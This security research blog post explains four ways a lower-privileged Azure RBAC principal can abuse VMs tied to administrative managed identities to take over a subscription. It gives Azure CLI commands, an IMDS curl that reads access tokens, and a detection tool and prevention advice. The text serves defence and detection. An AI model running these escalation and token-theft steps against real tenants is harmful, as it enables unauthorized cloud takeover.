Microsoft Azure provides administrators with controls to limit the actions a principal can take within the cloud environment. These actions can broadly be split into two categories: those that impact the Entra ID tenant and those that affect the Azure cloud subscription, the latter of which we will call “RBAC actions.” Prior research into Entra ID actions has identified particular roles and permissions that may allow an Entra ID principal to abuse its assigned permissions to gain control over the Entra ID tenant. In this blog post, we will discuss four different ways an Azure RBAC principal can abuse an Azure VM to gain control over an Azure subscription:
- Execute commands on an Azure VM associated with an administrative managed identity
- Log in to an Azure VM associated with an administrative managed identity
- Attach an administrative managed identity to an existing Azure VM and execute commands in that VM
- Create a new Azure VM, attach an administrative managed identity to it, and execute commands in that VM by using data plane actions
An Introduction to Privileged Azure RBAC Administrators
The Azure RBAC role with the highest-level permissions in a subscription is the “Owner” role. This role has the ability to execute all RBAC actions (but not RBAC data actions) within the Azure root scope, providing principals with the ability to create, modify, or delete any resource within the subscription. This provides the Owner role complete control over the Azure subscription’s cloud resource control plane, as opposed to data actions which allow principals to perform actions against the data within a cloud resource. The definition of the Owner role is shown below:
{
"id": "/providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
"properties": {}
"roleName": "Owner",
"description": "Grants full access to manage all resources, including the ability to assign roles in Azure RBAC.",
"assignableScopes": [
"/"
],
"permissions": [
{
"actions": [
"*"
],
"notActions": [],
"dataActions": [],
"notDataActions": []
}
]
}
Two permissions facilitate RBAC modification and administration and are granted to privileged administrators. The first permission is Microsoft.Authorization/roleAssignments/write
, which allows RBAC principals to assign any role to any principal. A principal with this permission could assign the Owner role to a lower-privilege principal, thus escalating that principal’s privileges within that subscription. The Azure CLI command to create such an assignment is as follows:
$ az role assignment create --assignee "<SERVICE PRINCIPAL UUID>" --role "Owner" --scope "/subscriptions/<SUBSCRIPTION UUID>"
The following built-in RBAC roles are currently unconditionally provided with this permission:
- Owner
- Role Based Access Control Administrator
- User Access Administrator
The next permission associated with privileged administrators is Microsoft.Authorization/roleDefinitions/write
. This permission allows RBAC principals to update the permissions provided by a custom role. A principal with this privileged permission could add additional permissions to a lower-privileged custom RBAC role, which would elevate the privileges of any principal assigned to that role. The Azure CLI command to update a custom role with an existing role definition JSON file is as follows:
$ cat ./custom_role.json
{
"Name": "<EXISTING CUSTOM ROLE NAME>",
"IsCustom": true,
"Description": "Privilege escalation to subscription Owner!!",
"Actions": [
"*"
],
"NotActions": [],
"DataActions": [],
"NotDataActions": [],
"AssignableScopes": [
"/subscriptions/<SUBSCRIPTION UUID>"
]
}
$ az role definition update --role-definition "./custom_role.json"
The following built-in RBAC roles are currently unconditionally provided with this permission:
- Owner
- User Access Administrator
Azure Virtual Machine Abuse
Azure virtual machines (VMs) are a type of computing resource that can be deployed to an Azure subscription. They allow cloud administrators the flexibility of virtualization without having to buy and maintain the physical hardware to run their own workloads.
If such workloads also require access to other Azure resources, a managed identity is a special type of service principal that is typically created and attached to the VM to delegate the necessary access to those workloads. These permissions are delegated by assigning one or more RBAC roles to the managed identity. For example, the following command assigns the Owner RBAC role to a managed identity within a subscription scope, providing that role with Owner permissions over the entire subscription:
$ az role assignment create --assignee "<SERVICE PRINCIPAL UUID>" --role "Owner" --scope "/subscriptions/<SUBSCRIPTION UUID>"
In general, there are two types of managed identities: system-assigned and user-assigned. While system-assigned managed identities are solely tied to the lifecycle of the Azure resources they are associated with, user-assigned managed identities can be associated with multiple Azure resources and have an independent lifecycle from the Azure resource to which they are associated.
When an attacker gains command execution on an Azure VM, they can also gain access to the assigned managed identity’s credentials, thereby potentially gaining further access to the Azure dataplane. These credentials can be obtained by sending the following request to the Instance Metadata Service (IMDS), shown below as a cURL command:
$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H Metadata:true
The response from this command will return a bearer access token, which could then be used to access the Azure Resource Manager API. For example, the following cURL request uses the bearer token to show a resource group:
$ curl https://management.azure.com/subscriptions/<SUBSCRIPTION UUID>/resourceGroups/<RESOURCE GROUP>?api-version=2016-09-01 -H "Authorization: Bearer <ACCESS TOKEN>"
{"access_token":"eyJ0[REDACTED]","client_id":"466f8621-5949-4952-bfa4-5955f007daac","expires_in":"86325","expires_on":"1737821737","ext_expires_in":"86399","not_before":"1737735037","resource":"https://management.azure.com/","token_type":"Bearer"}
Sometimes, cloud administrators assign roles to these managed identities that provide broad permissions over the subscription either out of convenience or necessity. However, if the VMs associated with these administrative managed identities can be compromised, the entire Azure subscription could be vulnerable to compromise, as we will demonstrate in the following sections.
Privilege Escalation Method 1: VM Command Execution
The first privilege escalation method leverages permissions that would allow a lower-privilege principal to execute commands on a VM that already has an administrative managed identity assigned to it. This would allow that lower-privilege principal to send requests to the IMDS from the VM, gain access to the managed identity’s access token, and assume the privileged principal to gain complete control over the Azure subscription.
In our research, we have observed a few actions that could provide an RBAC role with the ability to execute a command in an Azure VM. First, the Microsoft.Compute/virtualMachines/runCommand/action
action, which allows principals to use the following Azure CLI command to execute commands in an Azure VM:
$ az vm run-command invoke \
--resource-group <RESOURCE GROUP> \
--name <VM NAME> \
--command-id RunShellScript \
--scripts "<COMMAND>"
Next, the following actions are required to allow principals to use the following Azure CLI command to execute commands in an Azure VM:
Microsoft.Compute/virtualMachines/runCommands/read
Microsoft.Compute/virtualMachines/runCommands/write
Microsoft.Resources/subscriptions/resourcegroups/read
$ az vm run-command create \
--name "myRunCommand" \
--vm-name "<VM NAME>" \
--resource-group "<RESOURCE GROUP>" \
--script "<COMMAND>"
Privilege Escalation Method 2: VM Login
The second privilege escalation method leverages permissions that would allow a lower-privilege principal to log into a VM that already has an administrative managed identity assigned to it. This would allow that lower-privilege principal to log into the VM, send requests to the IMDS, gain access to the managed identity’s access token, and assume the privileged principal to gain complete control over the Azure subscription.
We have also found permissions that could provide an RBAC role with the ability to log into an Azure VM. First, the following actions are required to allow principals to add an authorized SSH public key for a known user of an Azure VM:
Microsoft.Compute/virtualMachines/extensions/write
Microsoft.Compute/virtualMachines/read
Microsoft.Compute/sshPublicKeys/write
$ az vm user update \
--resource-group <RESOURCE GROUP> \
--name <VM NAME> \
--username azureuser \ # this is the default username for Azure VMs
--ssh-key-value "<PATH TO LOCAL SSH PUBLIC KEY>"
Next, the either one of the following data actions are required to allow principals to log into VMs that enable Microsoft Entra ID authentication for Linux VMs via SSH:
Microsoft.Compute/virtualMachines/login/action
Microsoft.Compute/virtualMachines/loginAsAdmin/action
$ az ssh vm --ip <VM IP>
For Windows VMs, an attacker may need to log into the Azure Portal to obtain the RDP file in order to log into the VM.
Privilege Escalation Method 3: Attach an Administrative User-Assigned Managed Identity to a VM and Execute Commands
The third privilege escalation method leverages permissions that would allow a lower-privilege principal to attach an existing administrative user-assigned managed identity to an existing VM and then execute commands on the VM. This would require additional permissions to allow the lower-privilege principal to not only attach a managed identity to a VM but also execute commands against or log into the VM, as demonstrated in escalation methods 1 and 2.
We also observed that the following set of actions are required to allow a principal to attach an administrative managed identity to an existing VM:
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Microsoft.Compute/virtualMachines/read
Microsoft.Compute/virtualMachines/write
The following Azure CLI command can be used to attach a user-assigned managed identity to an existing VM:
$ az vm identity assign \
--resource-group <RESOURCE GROUP> \
--name <VM NAME> \
--identities "<FULL RESOURCE IDENTIFIER FOR THE USER-ASSIGNED MANAGED IDENTITY>"
In combination with one of the previous two methods for execution or login, a principal could then gain control of the administrative managed identity and thus control over the entire subscription.
Privilege Escalation Method 4: Create a VM with an Administrative User-Assigned Managed Identity and Execute Commands
The final privilege escalation method leverages permissions that would allow a lower-privilege principal to create a new VM, attach an existing administrative user-assigned managed identity to an existing VM, and then execute commands on the VM. This would require additional permissions to allow the lower-privilege principal to not only create a new VM but also attach and execute commands against the new VM, as demonstrated in escalation method 3.
We found that the following list of dataplane actions are required to allow a principal to create a new VM with an administrative user-assigned managed identity.
Microsoft.Compute/virtualMachines/read
Microsoft.Compute/virtualMachines/write
Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Microsoft.Network/networkInterfaces/join/action
Microsoft.Network/networkInterfaces/read
Microsoft.Network/networkInterfaces/write
Microsoft.Network/networkSecurityGroups/join/action
Microsoft.Network/networkSecurityGroups/read
Microsoft.Network/networkSecurityGroups/write
Microsoft.Network/publicIPAddresses/join/action
Microsoft.Network/publicIPAddresses/read
Microsoft.Network/publicIPAddresses/write
Microsoft.Network/virtualNetworks/read
Microsoft.Network/virtualNetworks/subnets/join/action
Microsoft.Network/virtualNetworks/write
Microsoft.Resources/deployments/operationstatuses/read
Microsoft.Resources/deployments/read
Microsoft.Resources/deployments/write
Microsoft.Resources/subscriptions/resourcegroups/read
The Azure CLI command to achieve this is as follows:
$ az vm create \
--resource-group <RESOURCE GROUP> \
--name <NEW VM NAME> \
--image Ubuntu2204 \
--admin-username azureuser \ # this is the default username for Azure VMs
--assign-identity "<FULL RESOURCE IDENTIFIER FOR THE USER-ASSIGNED MANAGED IDENTITY>"
If a virtual machine needs to be created with the Microsoft Entra ID authentication enabled, the following actions also need to be present:
Microsoft.Compute/virtualMachines/extensions/read
Microsoft.Compute/virtualMachines/extensions/write
To enable SSH login via Entra ID for a Linux VM, the following Azure CLI command can be used:
$ az vm extension set \
--publisher Microsoft.Azure.ActiveDirectory
--name AADSSHLoginForLinux \
--resource-group <RESOURCE GROUP> \
--vm-name <VM NAME>
For Windows VMs, the following command should be used:
$ az vm extension set \
--publisher Microsoft.Azure.ActiveDirectory \
--name AADLoginForWindows \
--resource-group <RESOURCE GROUP> \
--vm-name <VM NAME>
Similarly to method 3, this method can then be used in combination with one of the first two methods for execution or login to gain control of the administrative managed identity.
Identification
To help us enumerate these sensitive permissions and roles in an Azure environment, we have first extended the open-source Azurehound code to, among other things, use the Azure Resource Manager REST API to list all RBAC roles and their permissions in a given tenant. After cloning our fork of the Azurehound repository, users should first run the list --output <OUTPUT FILEPATH>
subcommand to list all resources in a given scope and upload the file to a Neo4j database via Bloodhound, which will graph potential privilege escalation paths for the control plane permissions. Next, users should run the list rbac-role-definitions --output <OUTPUT FILEPATH>
subcommand to obtain all RBAC role definitions and store them in a local JSON file.
Enhancing the Azurehound Graph
Next, we have created a script called ScentTrail to analyze the RBAC roles for sensitive dataplane permissions and create nodes and relationships in the same Neo4j database based on those permissions. The full set of Azure dataplane permissions is based on an open-source set compiled by iann0036. This tool has the following usage
$ python azhound_scenttrail/main.py -h
usage: main.py [-h] roledef_filename azurehound_filename
Insert eligible role assignments from exported PIM file
positional arguments:
roledef_filename JSON file with role definitions from azurehound list rbac-role-definitions
azurehound_filename JSON file as output by the azurehound list command
options:
-h, --help show this help message and exit
For example, for all Owner dataplane role assignments, a relationship with the AZOwns
label (previously defined by Bloodhound) will be created between a principal and the subscription. Whereas previously, Azurehound and Bloodhound did not map any dataplane permissions in their analysis of the Azure IAM configuration, ScentTrail will now map such relationships.
Identifying Methods 1 & 2
As of the time of writing, we have also implemented new edges for the four privilege escalation methods discussed. First, if the permissions that enable VM execution or login (methods 1 and 2) are identified by ScentTrail, a new relationship with the AZVMContributor
is created. Permissions that enable a principal to attach a user-assigned managed identity to a VM (method 3) will cause ScentTrail to construct a relationship of label AZVMUpdate
between the principal and the VM. It will also construct the AZAssignIdentity
relationship between the ‘attacker’ principal and the ‘victim’ principal.
Finally, a relationship of label AZVMCreate
will be created between principals that have dataplane permissions to create a VM and a dummy VM node that is used as a placeholder in all resource groups included in the scope of the role definition. These dummy nodes will always have an ID of zeroes (i.e., 00000000-0000-0000-0000-000000000000) and the name: DUMMY-NEW-VM.
With all of these new relationships created, we can start looking for privilege escalation paths. The following Neo4j CYPHER query, based on the Bloodhound “Shortest Path to Here” query, can be used to identify the new privilege escalation paths:
MATCH (n:AZSubscription {objectid: "/SUBSCRIPTIONS/<UPPERCASE SUBSCRIPTION ID>"}), (m), p=shortestPath((m)-[r*1..]->(n))
WHERE NOT m=n
WITH collect(p) as paths
UNWIND paths as path
WITH paths, nodes(path) as pathNodes
MATCH (node)-[vmrel:AZVMCreate]->(newvm:AZVM {id: "00000000-0000-0000-0000-000000000000"})
WHERE node IN pathNodes
RETURN paths, vmrel, newvm
Praetorian created a sample Azure environment to highlight the new attack paths located by ScentTrail.
As shown in the diagram, service principals SP-2 through 6 can directly gain the Owner RBAC role of subscription SUB-1. In our analysis of the graph, we also find that SP-1 can escalate its privileges to the Owner RBAC role by directly executing commands or log in to VM-1, thus gaining the Owner RBAC role for SUB-1.
Identifying Methods 3 & 4
For privilege escalation methods 3 and 4, some extra analysis may be required. For example, while the graph shows that the service principal SP-1 can assign other service principals, we also need to confirm that the SP-1 principal also has an AZVMCreate/AZVMUpdate and AZVMContributor relationship to another AZVM node before concluding that privilege escalation methods are viable. For example, SP-1 can update VM-1, assign SP-3 to VM-1, and log into or send commands to VM-1, thus gaining the Owner RBAC role for SUB-1.
SP-1 can also create a new VM (i.e., the dummy VM node), assign SP-3 to the new VM, and log into or send commands to the new VM, thus gaining the Owner RBAC role for SUB-1.
Prevention
Our recommendation is to first adhere to the principle of least privilege and limit the assignment of known privileged administrator roles. This can be easily managed in the Azure Portal, where known privileged administrator roles are explicitly listed in the “Access Control (IAM)” tab.
For each privileged administrator role that is listed by the portal blade, cloud administrators can then look up all principals that are assigned the role in a given Azure subscription.
Microsoft Azure allows administrators to implement conditions on RBAC role assignments to restrict which resources a principal can access. For example, administrators can create conditions that limit principals with role assignment capabilities to only assign low-privileged roles. A specific example is the “Virtual Machine Data Access Administrator (preview)” built-in RBAC role, which contains the following condition that limits the list of roles it can assign to the “Virtual Machine Administrator Login” and “Virtual Machine User Login” roles:
((!(ActionMatches{'Microsoft.Authorization/roleAssignments/write'})) OR (@Request[Microsoft.Authorization/roleAssignments:RoleDefinitionId] ForAnyOfAnyValues:GuidEquals{1c0163c0-47e6-4577-8991-ea5c82e286e4, fb879df8-f326-4884-b1cf-06f3ad86be52})) AND ((!(ActionMatches{'Microsoft.Authorization/roleAssignments/delete'})) OR (@Resource[Microsoft.Authorization/roleAssignments:RoleDefinitionId] ForAnyOfAnyValues:GuidEquals{1c0163c0-47e6-4577-8991-ea5c82e286e4, fb879df8-f326-4884-b1cf-06f3ad86be52}))
Future Work
It should not come as a surprise that VMs are not the only Azure compute resources that can be assigned a managed identity to delegate permissions to a service principal. In the future, we aim to expand the capabilities of ScentTrail to include other privilege escalation paths for these compute resources.
Additionally, we theorize that after obtaining the Owner role for a subscription, an attacker may be able to leverage their broad control over all subscription resources to find a privilege escalation path to the Entra ID tenant. This path is predicated on a compute resource in the victim subscription with a service principal with Entra ID permissions that may allow it to escalate itself to Global Administrator. The latter half of this escalation path can already be identified using Azurehound and Bloodhound. However, the connection between control over a compute resource and Entra ID tenant compromise should still be verified.
References
- Azurehound GitHub Repository
- Creating Azure RBAC Role Assignments
- Creating and Updating Custom Azure RBAC Roles
- AWS Service Principals
- Managed Identity Types in Azure
- Get the Managed Identity Token from Azure IMDS
- Enable Microsoft Entra Login for Linux VMs
- Log in using Microsoft Entra Credentials on Windows VMs
- Praetorian AzureHound Forked Repository
- BloodHound GUI Documentation
- AzureHound ScentTrail GitHub Repository
- Azure IAM Dataset
- Role Assignment Conditions in Azure
- Virtual Machine Data Access Administrator Role Definition